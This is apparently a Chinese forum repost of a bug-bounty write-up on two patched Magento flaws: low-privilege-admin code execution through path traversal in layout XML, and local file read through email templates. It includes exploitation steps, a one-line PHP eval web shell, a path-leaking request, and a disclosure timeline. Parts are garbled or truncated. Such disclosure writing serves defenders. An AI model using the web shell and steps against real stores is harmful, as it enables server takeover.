惊鸿一瞥最是珍贵 / 2019-02-10 07:41:00 / 浏览数 1283 安全技术 漏洞分析 顶(0) 踩(0)

摘要

为了漏洞赏金计划,我经常在大型服务上查找漏洞。这是我关于Magento的第二篇文章,其中包含了我发现的两个Magento漏洞。Magento是一个大型电子商务CMS,现Experience Cloud的一部分。这些漏洞我已经披露给Magento团队,并及时在Magento 2.3.0、2.2.7和2.1.16中打了补丁。这两个漏洞都需要低权限的管理员帐户,通常授予市场营销用户(Marketing users):第一个漏洞是使用路径遍历执行命令,用户能够创建产品。第二个漏洞是本地文件读取,用户能够创建电子邮件模板。

产品创建中的命令执行

下面是相关细节。

通过产品创建系统的Design选项卡,Magento有自己的方法来定义产品的布局。它的格式是基于XML的,并且遵循Magento创建的语法。完整的文档如下:https://devdocs.magento.com/guides/v2.3/frontend-dev-guide/layouts/xml-instructions.html

有趣的是可以使用<block>标签实例化块,然后使用<action>标签调用其上的方法。顺便说一句,这只在对象实现Block接口的情况下才起作用。但是,我正在搜索是否有 \ Framework \ View \ Element \ Template类的以下函数:

```
* Retrieve block view from file (template)
 * @param string $fileName
 * @return string
 */
public function fetchView($fileName)
{
    $relativeFilePath = $this->getRootDirectory()->getRelativePath($fileName);
    \Magento\Framework\Profiler::start(
        'TEMPLATE: ' . $fileName,
        ['group' => 'TEMPLATE', 'file_name' => $relativeFilePath]
    );
    if ($this->validator->isValid($fileName)) {
        $extension = pathinfo($fileName, PATHINFO_EXTENSION);
        $templateEngine = $this->templateEnginePool->get($extension);
        $html = $templateEngine->render($this->templateContext, $fileName, $this->_viewVars);
    } else {
        $html = '';
        $templatePath = $fileName ?: $this->getTemplate();
        $errorMessage = "Invalid template file: '{$templatePath}' in module: '{$this->getModuleName()}'"
            . " block's name: '{$this->getNameInLayout()}'";
        if ($this->_appState->getMode() === \Magento\Framework\App\State::MODE_DEVELOPER) {
            throw new \Magento\Framework\Exception\ValidatorException(
                new \Magento\Framework\Phrase(
                    $errorMessage
            );
        }
        $this->_logger->critical($errorMessage);
    \Magento\Framework\Profiler::stop('TEMPLATE:' . $fileName);
    return $html;
}
```

这段代码负责从文件加载模板;有两个被授权的扩展名,分别是phtml(将其视为PHP模板文件)和xhtml(将其视为HTML文纯文本文件?)。显然,我们需要PHP模板文件。 \$fileName参数被传递到\Magento\Framework\View\Element\Template\File\Validator::isValid()函数中,该函数检查文件是否在特定的目录中(编译、模

```
protected function isPathInDirectories($path, $directories)
{
    if (!is_array($directories)) {
        $directories = (array)$directories;
    }
    foreach ($directories as $directory) {
```

```
if (0 === strpos($path, $directory)) {
          return true;
     }
}
return false;
}
```

此函数仅检查提供的路径是否以特定的目录名开头(例如/path/to/your/magento/app/code/Magento/Theme/view/frontend/)。但是,它并不能控制仍然在白名的Design调用它。但是,它只将.phtml文件作为PHP代码处理,在大多数上传表单上禁止扩展。

"大多数上传表单"意味着有例外!您可以创建一个带有"自定义选项"的文件和"File"。我想这是为了防止客户想要发送3D模板或订单说明。事实是你可以上传扩展名,包括pl 命令执行payload。以下是完整的步骤:

- 1 使用具有一些低管理员权限的用户登录并允许创建产品
- 2 首先,创建一个新产品,使用类型为File的新自定义选项,将.phtml作为授权扩展,并订购一个订单。
- 3 在前端,在您刚刚创建的产品上。上传.phtml并在购物车中设置项。例如,我的文件名为" blaklis.phtml "并包含"<?php

eval(stripslashes(\$_REQUEST[0])); ?>"

4.phtml文件将上传到

 $/your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/media/custom_options/quote/firstLetterOfYourOriginalFileName/second$

例如,对于我的文件,位置将是

5 您必须有应用程序的完整路径才能使用fetchView函数。检索它的一种简单方法是运行以下请求:

```
POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true HTTP/1.1
[...]
Connection: close
```

remote_image=https://i.vimeocdn.com/video/41237643_640.jpg%00&form_key={{your_form_key}}}

这将导致curl崩溃并显示包含完整路径的错误。

6 在产品的"设计"选项卡中,使用布局更新XML中的以下XML添加2列布局:

7 转到该产品的前端页面;您的代码应该执行。

电子邮件模板的本地文件读取

这个发现的要简单得多;事实上,这是一个非常明显的漏洞。电子邮件模板允许使用一些由{}包围的特殊指令。其中一个指令是{{css'path'}},将CSS文件的内容加载到电管理此指令的函数如下:

```
public function cssDirective($construction)
   if ($this->isPlainTemplateMode()) {
      return '';
   $params = $this->getParameters($construction[2]);
   $file = isset($params['file']) ? $params['file'] : null;
   if (!$file) {
       // Return CSS comment for debugging purposes
      return '/* ' . __('"file" parameter must be specified') . ' */';
   }
   $css = $this->getCssProcessor()->process(
       $this->getCssFilesContent([$params['file']])
   );
   if (strpos($css, ContentProcessorInterface::ERROR_MESSAGE_PREFIX) !== false) {
       // Return compilation error wrapped in CSS comment
       return '/*' . PHP_EOL . $css . PHP_EOL . '*/';
   } elseif (!empty($css)) {
```

```
return $css;
  } else {
      // Return CSS comment for debugging purposes
      return '/* ' . sprintf(__('Contents of %s could not be loaded or is empty'), $file) . ' */';
  }
}
public function getCssFilesContent(array $files)
   // Remove duplicate files
  $files = array_unique($files);
  $designParams = $this->getDesignParams();
  if (!count($designParams)) {
      throw new \Magento\Framework\Exception\MailException(
          __('Design params must be set before calling this method')
  }
  $css = '';
  try {
      foreach ($files as $file) {
          $asset = $this->_assetRepo->createAsset($file, $designParams);
          $pubDirectory = $this->getPubDirectory($asset->getContext()->getBaseDirType());
          if ($pubDirectory->isExist($asset->getPath())) {
             $css .= $pubDirectory->readFile($asset->getPath());
          } else {
             $css .= $asset->getContent();
      }
  } catch (ContentProcessorException $exception) {
      $css = $exception->getMessage();
  } catch (\Magento\Framework\View\Asset\File\NotFoundException $exception) {
      $css = '';
  return $css;
}
这两个函数在任何地方都不检查路径遍历字符,并且确实容易受到攻击。
创建电子邮件模板触发漏洞。
时间线
2018.09.11:路径遍历/RCE首次披露。
2018.09.17: 由Bugcrowd工作人员进行分类
2018.10.08: 由Magento员工分类
2018.11.28: Magento发布针对版本2.2.7和2.1.16的补丁。
2018.12.11: 获得5000美元奖金
2018.08.09:路径遍历/本地文件读取的初始披露
2018.08.29:在询问详细信息后由Bugcrowd工作人员进行分类
2018.10.08:由Magento员工分类
2018.11.28: Magento发布针对版本2.2.7和2.1.16的补丁
2019.01.04:获得2500美元奖金
■■■■https://blog.scrt.ch/2019/01/24/magento-rce-local-file-read-with-low-privilege-admin-rights/
点击收藏 | 0 关注 | 1
上一篇:RFID安全入门:PN532 模块... 下一篇:新型Golang恶意软件的详细分析
```

- 1. 0 条回复
 - 动动手指,沙发就是你的了!

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS <u>关于社区</u> 友情链接 <u>社区小黑板</u>